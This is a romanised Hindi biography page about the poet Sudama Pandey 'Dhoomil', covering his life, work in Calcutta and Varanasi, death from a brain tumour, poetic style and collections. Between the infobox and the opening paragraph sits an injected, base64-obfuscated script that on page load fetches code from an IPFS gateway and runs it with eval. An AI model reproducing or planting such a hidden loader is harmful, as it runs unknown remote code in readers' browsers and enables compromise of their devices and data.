सुदामा पांडेय 'धूमिल'
sudama paandey 'dhoomil'
| |
| poora nam | sudama paandey 'dhoomil' |
| any nam | dhoomil |
| janm | 9 navanbar, 1936 |
| janm bhoomi | varanasi, uttar pradesh |
| mrityu | 10 faravari, 1975 |
| mrityu sthan | lakhanoo, uttar pradesh |
| abhibhavak | shivanayak paande aur rajavanti devi |
| pati/patni | moorat devi |
| mukhy rachanaean | sansad se s dak tak, kal sunana mujhe, dhoomil ki kavitaean, qissa janatantr, mochiram adi |
| bhasha | hindi |
| shiksha | dasavian tak atyant medhavi chhatr ke roop mean. aee. ti. aee. varanasi se vidyut diploma prapt kar ke isi sansthan mean vidyut anudeshak ke roop mean kary kiya. |
| puraskar-upadhi | sahity akadami puraskar hindi (1979) |
| nagarikata | bharatiy |
| any janakari | dhoomil ka rahan-sahan itana sadharan tha ki bren tyoomar ke shikar hokar jab ve achanak maut se hare to unake parijanoan tak ne rediyo par unake nidhan ki khabar sunane ke bad hi jana ki ve kitane b de kavi the. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>sudama paandey dhoomil (aangrezi:Sudama Panday Dhoomil, janm: 9 navanbar, 1936 - mrityu: 10 faravari, 1975) hindi ke samakalin kavi the. unaki kavitaoan mean azadi ke sapanoan ke mohabhang ki pi da aur akrosh ki sabase sashakt abhivyakti milati hai. vyavastha jisane janata ko chhala hai, usako aina dikhana mano dhoomil ki kavitaoan ka param lakshy hai. inhean maranoparaant 1979 mean sahity akadami puraskar se sammanit kiya gaya.
jivan parichay
sudama paandey 'dhoomil' ka janm 9 navanbar 1936 ko varanasi ke nikat gaanv khevali mean hua tha. unake poorvaj kahian door se khevali mean a base the. dhoomil ke pita shivanayak paande ek munim the v inaki mata rajavanti devi ghar-bar sanbhalati thi. jab dhoomil gyarah varsh ke the to inake pita ka dehaant ho gaya. apaka bachapan sangharshamay raha. dhoomil ka vivah 12 varsh ki ayu mean moorat devi se hua. 1953 mean jab apane haeeskool uttirn kiya to ap gaanv ke pahale aise vyakti the jisane maitrik pas ki thi. arthik dabavoan ke rahate ve apani padhaee jari n rakh sake. svadhyay v pustakalay donoan ke bal par unaka bauddhik vikas hota raha.
karyakshetr
rojagar ki talash 'dhoomil' ko kalakatta le aee. kahian dhang ka kam n mila to loha dhone ka kam kaya v majadooroan ki ziandagi ko karib se jana. is kam ki janakari unake sahapathi mitr tarakanath paande ko mili to unhoanne apani janakari mean unhean ek lak di ki kampani maisars talavar bradarz pra. li. mean naukari dilava di. vahaan ve lagabhag dedh varsh tak ek adhikari ke taur par karyarat rahe. isi bich asvasth hone par svasthy-labh hetu ghar laut ae. bimari ke dauran malik ne unhean motihari se gauhati chale jane ko kaha. 'dhoomil' ne apane asvasth hone ka havale dete hue inakar kar diya. malik ka ghamand bol utha, "aee eem peiang ph aaur maee vark, n aaut ph aaur yor helth!"
'dhoomil' ke svabhiman par chot lagi to malik ko khari-khari suna di,"bat aee aim varkiang ph aaur maee helth, n aaut vor yor vark."
phir kya tha sadhe char sau ki naukari, prati ghan phut milane vala kamishan v ti. e, di. e....'dhoomil' ne sabako lat laga di. isi ghatana se 'dhoomil' pooanjipatiyoan aur mazadooroan ke drishtikon v fasale ko samajhe. ab unaka janavadi sangharsh unaki kavita mean akrosh ban prakat hone vala tha. dhoomil ko hiandi kavita ke sangharsh ka kavi kaha jata hai. 1957 mean 'dhoomil' ne kashi vishvavidyalay ke audyogik sansthan mean pravesh liya. 1958 mean pratham shreni se pratham sthan lekar 'vidyut ka diploma' liya. vahian vidyut-anudeshak ke pad par niyukt ho ge. phir yahi naukari v padonnati pakar ve baliya, banaras v saharanapur mean karyarat rahe. 1974 mean jab ve sitapur mean karyarat the to ve asvasth ho gaye. apani spashtavadita v akh dapan ke karan unhean adhikariyoan ka kopabhajan hona p da. uchchadhikari apana dabav banae rakhane ke karan unhean kisi n kisi dhang se utpi dit karate rahate the. yahi dabav 'dhoomil' ke manasik tanav ka karan ban gaya. aktoobar 1974 ko asahaniy sir dard ke karan 'dhoomil' ko kashi vishvavidyalay ke medikal k aaulej mean bharti karavaya gaya. d aauktaroan ne unhean bren tyoomar bataya. navanbar 1974 ko unhean lakhanoo ke 'kiang jarj medikal k aaulej mean bharti karavaya gaya. yahaan unake mastishk ka aaupareshan hua lekin usake bad ve 'k aauma' mean chale ge aur behoshi ki is avastha mean hi 10 faravari 1975 ko ve kal ke bhajak ban ge.[1]
bhasha evan shaili
dhoomil ki bhasha ka sanbodhanatmak prayog bhi unhean tamam samakalin mulammedar v pandity-pradarshan-priy kaviyoan se alag v ek vishisht pahachan deta hai. unaki kavita naye vimb vidhan v naye sandarbho mean janata ke sangharsh ke svar mean svar milati hai. is drishti se unaki kavyabhasha samajik sanrachana ke auchity ko chunauti deti hai. unake kavy bianb apane paravarti kaviyoan se prithak haian. ve apani prakriti aur prastuti mean adbhut haian- dhoop maan ki god si garm thi. kahakar kavi maan ki mahima ko sir mathe svikarata hai. chhandavidhan ki drishti se unaki lagabhag sabhi kavitaean gadyatmak lay ki or jhuki huee haian. kavita ki ekarasata aur lanbaee todane ke uddeshy se ve panktiyoan ko chhota-bada karate haian aur tukoan dvara talamel evan lay sthapit karate haian. hiandi kavita ko ne tevar dene vale is janakavi ka yogadan chirasmaraniy hai aur rahega.
kritiyaan
dhoomil ke char kavy-sangrah prakashit ho chuke haian jinamean sammilit haian-
- sansad se s dak tak (isaka prakashan svayan 'dhoomil' ne kiya tha)
- kal sunana mujhe (sanpadan - rajashekhar)
- dhoomil ki kavitaean (sanpadan - d aau. shukadev)
- sudama pande ka prajatantr (sanpadan - ratnashankar. ratnashankar 'dhoomil' ke putr haian.)
uparokt kriti 'sansad se s dak tak' ka prakashan svayan 'dhoomil ne kiya tha v shesh ka prakashan maranoparaant vibhinn prakashakoan dvara kiya gaya.[1]
hiandi kavita ke eangri yangamain
dhoomil ka rahan-sahan itana sadharan tha ki bren tyoomar ke shikar hokar 10 pharavari, 1975 ko ve achanak maut se hare to unake parijanoan tak ne rediyo par unake nidhan ki khabar sunane ke bad hi jana ki ve kitane b de kavi the. banaras ke manikarnika ghat par unaki aantyeshti ke samay sirph kuanvar narayan aur shrilal shukl pahuanche the. apane atmakathyoan mean ve apani jis mrityu ko anishchit lekin din mean saik doan bar sanbhav batate the, vah us din ayi hi kuchh aise dabe paanv thi. varishth kathakar kashinath sianh batate haian ki aupacharik uchch shiksha se maharoom dhoomil bad mean kavita sikhane v samajhane ki bechaini se aise ‘pi dit’ hue ki jivan bhar vidyarthi bane rahe. unhoanne apane p dosi naganand aur kee shabdakoshoan ki madad se aangrezi bhi sikhi, taki usaki kavitaean bhi padh v samajh sakean. alabatta, vidhivat adhyayan ki kami ko unhoanne is roop mean jivan bhar jhela ki vamapanthi hone ke bavajood n striyoan ko lekar mardavadi soch se mukt ho paye aur n gaanvoan v shaharoan ke bich pakshadharata ke chunav mean samyak vargiy drishti apana paye. ashok vajapeyi ka sangrah ‘shahar ab bhi sanbhavana hai’ aya to unhoanne yah kahakar usaki alochana ki ki shahar to ek phrant hai, vah sanbhavana kaise ho sakata hai? lekin isaka ek labh bhi hua. ‘anaupacharik janakariyoan’ ne unaka bani-banaee vam dharanaoan ki kaid se nikalana asan kiye rakha aur ve sachche arthoan mean kisan jivan ke duahkhoan v sangharshoan ke pravakta aur samanti sanskaroan se l dane vale lokatantr ke yoddha kavi banakar nikhar sake.
khaye-piye aur aghaye logoan ki ‘kraantikari’ bauddhik jugaliyoan mean gahara avishvas vyakt karane mean unhoanne ‘samanyikaran’ aur ‘dishahin aandhe gusse ki pairokari’ jaise ganbhir arop bhi jhele lekin poochhate rahe ki ‘mushkiloan v sangharshoan se asang’ log kraantikari kaise ho sakate haian? unaka vishvas tha ki ‘chand tuchchi suvidhaoan ke lalachi/aparadhiyoan ke sanyukt parivar’ ke log ek din khatm ho jayeange aur isi vishvas ke bal se unhoanne ‘arajak’ hona kubool karake bhi nishtha ka tuk vishtha se nahian bhi daya. kavitaoan mean varjit pradeshoan ki khoj karane aur chhaliya vyavastha dvara poshit har parampara, sabhyata, suruchi, shalinata aur bhadrata ki aisi-taisi karane ko akramak dhoomil ne apana chhayavadi arthadhvani vala upanam kyoan rakha, isaki bhi ek dilachasp aantarkatha hai. dhoomil ne apani chhoti-si umr mean hi hiandi alochana ka paranpara se kahaniyoan ki or chala a raha muanh ghumakar kavitaoan ki or kar lene mean saphalata pa li thi. yah aur bat hai ki unaki pahali prakashit rachana ek kahani hi thi, jo apane samay ki bahucharchit patrika ‘kalpana’ mean chhapi thi. ve banaras mean sahityakaroan ke svabhiman ke pratik mane jate the aur jisamean bhi ochhapan dekhate usake khilaph ho jate. kuchh log arop lagate haian ki ve namavar sianh ke lathait ki tarah kam karate the. isamean kam se kam itana sahi hai ki ve namavar ke khilaph kuchh bhi sunana pasand nahian karate the. lekin unake svabhav ke maddenajar isase bhi jyada sachchi bat yah hai ki jis bhi pal unhean lagata ki namavar unhean istemal kar rahe haian, ve unhean chho d dete.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 sudama paandey dhoomil (hiandi) bharat darshan. abhigaman tithi: 11 faravari, 2018.
- ↑ dhoomil: hiandi kavita ka eangri yangamain (hiandi) d vayar. abhigaman tithi: 11 faravari, 2018.
bahari k diyaan
sanbandhit lekh
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